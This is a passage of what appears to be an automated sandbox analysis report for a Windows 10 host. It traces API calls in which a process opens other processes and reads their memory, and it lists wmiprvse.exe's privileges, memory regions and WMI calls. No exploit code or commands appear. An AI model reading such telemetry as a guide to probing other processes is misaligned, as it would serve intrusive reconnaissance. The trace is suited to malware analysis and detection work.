ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.914] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa54998020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.914] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.914] malloc (_Size=0xf0) returned 0x196ef0d4e70 [0299.914] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081988, lpBuffer=0x196ef0d4e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0299.915] free (_Block=0x196ef0d4e70) [0299.916] CloseHandle (hObject=0x464) returned 1 [0299.916] _ui64tow_s (in: _Value=0x2f0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="752") returned 0x0 [0299.964] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="752") returned 3 [0299.966] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.966] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.980] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2f0) returned 0x464 [0299.980] GetLastError () returned 0x0 [0299.981] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.981] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5290ef3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.981] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.981] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232e1421bb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.981] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232e1421818, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.983] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.984] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.984] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5290ef3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.984] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232e1421200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.984] malloc (_Size=0xb4) returned 0x196ef0f82a0 [0299.984] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232e1421858, lpBuffer=0x196ef0f82a0, nSize=0xb2, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0f82a0*, lpNumberOfBytesRead=0x0) returned 1 [0299.985] free (_Block=0x196ef0f82a0) [0299.986] CloseHandle (hObject=0x464) returned 1 [0299.986] _ui64tow_s (in: _Value=0x1280, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4736") returned 0x0 [0299.991] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4736") returned 4 [0299.992] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.992] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0300.024] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1280) returned 0x464 [0300.024] GetLastError () returned 0x0 [0300.025] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0300.025] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xd596f74018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0300.025] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0300.025] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x210bb921c00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0300.025] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x210bb921818, lpBuffer=0x670f7c2b0, nSize=0x9c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0300.026] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0300.028] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0300.029] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xd596f74020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0300.029] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x210bb921200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0300.029] malloc (_Size=0xa2) returned 0x196ef0d6db0 [0300.029] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x210bb9218b4, lpBuffer=0x196ef0d6db0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d6db0*, lpNumberOfBytesRead=0x0) returned 1 [0300.030] free (_Block=0x196ef0d6db0) [0300.031] CloseHandle (hObject=0x464) returned 1 [0300.032] free (_Block=0x196ef0d7d70) [0300.032] malloc (_Size=0x48) returned 0x196ef0fb7c0 [0300.032] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x670f7d400 | out: lpSystemTimeAsFileTime=0x670f7d400*(dwLowDateTime=0x93b0bc09, dwHighDateTime=0x1d9eb0c)) [0300.033] SetEvent (hEvent=0x248) returned 1 [0300.075] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ef225ef0 [0300.075] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ef225ef0, pulNumLanguages=0x670f7de50 | out: pulNumLanguages=0x670f7de50) returned 1 [0300.075] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225ef0) returned 1 [0300.075] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225e20) returned 1 [0300.352] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 Thread: id = 119 os_tid = 0x1138 Thread: id = 120 os_tid = 0x1124 Thread: id = 130 os_tid = 0x1170 Process: id = "4" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x53a66000" os_pid = "0xae4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x270" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wlidsvc" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ac07" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 3760 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3761 start_va = 0x2db7cd0000 end_va = 0x2db7d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002db7cd0000" filename = "" Region: id = 3762 start_va = 0x2db7e00000 end_va = 0x2db7ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002db7e00000" filename = "" Region: id = 3763 start_va = 0x2db8000000 end_va = 0x2db807ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002db8000000" filename = "" Region: id = 3764 start_va = 0x2db8080000 end_va = 0x2db80fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002db8080000" filename = "" Region: id = 3765 start_va = 0x2db8180000 end_va = 0x2db81fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002db8180000" filename = "" Region: id = 3766 start_va = 0x2db8200000 end_va = 0x2db827ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002db8200000" filename = "" Region: id = 3767 start_va = 0x2db8300000 end_va = 0x2db837ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002db8300000" filename = "" Region: id = 3768 start_va = 0x2db8380000 end_va = 0x2db83fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002db8380000" filename = "" Region: id = 3769 start_va = 0x2db8400000 end_va = 0x2db847ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002db8400000" filename = "" Region: id = 3770 start_va = 0x17ffec80000 end_va = 0x17ffec8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000017ffec80000" filename = "" Region: id = 3771 start_va = 0x17ffec90000 end_va = 0x17ffec96fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000017ffec90000" filename = "" Region: id = 3772 start_va = 0x17ffeca0000 end_va = 0x17ffecb4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000017ffeca0000" filename = "" Region: id = 3773 start_va = 0x17ffecc0000 end_va = 0x17ffecc3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000017ffecc0000" filename = "" Region: id = 3774 start_va = 0x17ffecd0000 end_va = 0x17ffecd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000017ffecd0000" filename = "" Region: id = 3775 start_va = 0x17ffece0000 end_va = 0x17ffece1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000017ffece0000" filename = "" Region: id = 3776 start_va = 0x17ffecf0000 end_va = 0x17ffedadfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3777 start_va = 0x17ffedb0000 end_va = 0x17ffedb6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000017ffedb0000" filename = "" Region: id = 3778 start_va = 0x17ffedc0000 end_va = 0x17ffedc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000017ffedc0000" filename = "" Region: id = 3779 start_va = 0x17ffedd0000 end_va = 0x17ffedd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000017ffedd0000" filename = "" Region: id = 3780 start_va = 0x17ffede0000 end_va = 0x17ffedeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000017ffede0000" filename = "" Region: id = 3781 start_va = 0x17ffedf0000 end_va = 0x17ffedf4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 3782 start_va = 0x17ffee00000 end_va = 0x17ffee00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000017ffee00000" filename = "" Region: id = 3783 start_va = 0x17ffee10000 end_va = 0x17ffee10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000017ffee10000" filename = "" Region: id = 3784 start_va = 0x17ffee20000 end_va = 0x17ffee20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000017ffee20000" filename = "" Region: id = 3785 start_va = 0x17ffee60000 end_va = 0x17ffef5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000017ffee60000" filename = "" Region: id = 3786 start_va = 0x17ffef60000 end_va = 0x17fff296fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3787 start_va = 0x17fff2a0000 end_va = 0x17fff427fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000017fff2a0000" filename = "" Region: id = 3788 start_va = 0x17fff430000 end_va = 0x17fff5b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000017fff430000" filename = "" Region: id = 3789 start_va = 0x17fff5c0000 end_va = 0x17fff67ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000017fff5c0000" filename = "" Region: id = 3790 start_va = 0x17fff680000 end_va = 0x17fff77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000017fff680000" filename = "" Region: id = 3791 start_va = 0x7df5ff590000 end_va = 0x7ff5ff58ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff590000" filename = "" Region: id = 3792 start_va = 0x7ff7ce340000 end_va = 0x7ff7ce43ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7ce340000" filename = "" Region: id = 3793 start_va = 0x7ff7ce440000 end_va = 0x7ff7ce462fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7ce440000" filename = "" Region: id = 3794 start_va = 0x7ff7ceb30000 end_va = 0x7ff7cebaffff monitored = 0 entry_point = 0x7ff7ceb45f50 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 3795 start_va = 0x7ffa5f2c0000 end_va = 0x7ffa5f30cfff monitored = 0 entry_point = 0x7ffa5f2cb470 region_type = mapped_file name = "pdh.dll" filename = "\\Windows\\System32\\pdh.dll" (normalized: "c:\\windows\\system32\\pdh.dll") Region: id = 3796 start_va = 0x7ffa637a0000 end_va = 0x7ffa637c4fff monitored = 1 entry_point = 0x7ffa637b5dc0 region_type = mapped_file name = "wmiperfclass.dll" filename = "\\Windows\\System32\\wbem\\WmiPerfClass.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiperfclass.dll") Region: id = 3797 start_va = 0x7ffa6b3c0000 end_va = 0x7ffa6b3d5fff monitored = 0 entry_point = 0x7ffa6b3c55e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 3798 start_va = 0x7ffa6b700000 end_va = 0x7ffa6b724fff monitored = 0 entry_point = 0x7ffa6b709900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 3799 start_va = 0x7ffa6b730000 end_va = 0x7ffa6b743fff monitored = 0 entry_point = 0x7ffa6b731800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 3800 start_va = 0x7ffa6b750000 end_va = 0x7ffa6b845fff monitored = 0 entry_point = 0x7ffa6b789590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 3801 start_va = 0x7ffa6d6d0000 end_va = 0x7ffa6d6e0fff monitored = 0 entry_point = 0x7ffa6d6d2fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 3802 start_va = 0x7ffa6f330000 end_va = 0x7ffa6f3aefff monitored = 1 entry_point = 0x7ffa6f347110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 3803 start_va = 0x7ffa70330000 end_va = 0x7ffa7036cfff monitored = 1 entry_point = 0x7ffa7033b760 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Region: id = 3804 start_va = 0x7ffa74510000 end_va = 0x7ffa74573fff monitored = 0 entry_point = 0x7ffa74525ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 3805 start_va = 0x7ffa74af0000 end_va = 0x7ffa74b00fff monitored = 0 entry_point = 0x7ffa74af3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 3806 start_va = 0x7ffa77990000 end_va = 0x7ffa779c0fff monitored = 0 entry_point = 0x7ffa77997d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3807 start_va = 0x7ffa78330000 end_va = 0x7ffa78358fff monitored = 0 entry_point = 0x7ffa78344530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3808 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3809 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3810 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3811 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3812 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3813 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3814 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3815 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3816 start_va = 0x7ffa7b540000 end_va = 0x7ffa7b5aafff monitored = 0 entry_point = 0x7ffa7b5590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3817 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3818 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3819 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3820 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3821 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3822 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 9995 start_va = 0x2db8500000 end_va = 0x2db857ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002db8500000" filename = "" Region: id = 9996 start_va = 0x7ffa6d6d0000 end_va = 0x7ffa6d6e0fff monitored = 0 entry_point = 0x7ffa6d6d2fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Thread: id = 121 os_tid = 0x62c Thread: id = 122 os_tid = 0x230 Thread: id = 123 os_tid = 0x844 Thread: id = 124 os_tid = 0x2a8 [0129.448] DllCanUnloadNow () returned 0x1 [0129.449] DllCanUnloadNow () returned 0x1 [0249.462] DllCanUnloadNow () returned 0x1 [0249.463] DllCanUnloadNow () returned 0x1 Thread: id = 125 os_tid = 0xb18 Thread: id = 126 os_tid = 0x7f8 [0251.064] DllGetClassObject (in: rclsid=0x17ffee8a7a0*(Data1=0xd2d588b5, Data2=0xd081, Data3=0x11d0, Data4=([0]=0x99, [1]=0xe0, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xc2, [6]=0xf8, [7]=0xec)), riid=0x7ff7ceb7e0e8*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x2db80fda68 | out: ppv=0x2db80fda68*=0x17fff691aa0) returned 0x0 [0251.064] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0x0 [0251.064] malloc (_Size=0x20) returned 0x17fff691aa0 [0251.064] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0x7ffa70343060 [0251.065] IClassFactory:CreateInstance (This=0x17fff691aa0, pUnkOuter=0x0, riid=0x7ff7ceb7e0f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2db80fddb0) [0251.065] malloc (_Size=0x198) returned 0x17fff691da0 [0251.065] GetProcessHeap () returned 0x17ffee60000 [0251.065] RtlAllocateHeap (HeapHandle=0x17ffee60000, Flags=0x8, Size=0x28) returned 0x17ffee98ef0 [0251.065] GetProcessHeap () returned 0x17ffee60000 [0251.065] malloc (_Size=0x10) returned 0x17ffede16c0 [0251.065] RtlAllocateHeap (HeapHandle=0x17ffee60000, Flags=0x8, Size=0x198) returned 0x17ffeec4e30 [0251.065] GetProcessHeap () returned 0x17ffee60000 [0251.065] GetTickCount () [0251.065] IUnknown:Release (This=0x17fff691aa0) returned 0x0 [0251.066] free (_Block=0x17fff691aa0) [0251.069] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x3 [0251.069] CoCreateInstance (in: rclsid=0x7ffa703560e0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa703560f0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x2db80fd960 | out: ppv=0x2db80fd960*=0x17ffeec1600) returned 0x0 [0251.075] WbemLocator:IWbemLocator:ConnectServer (in: This=0x17ffeec1600, 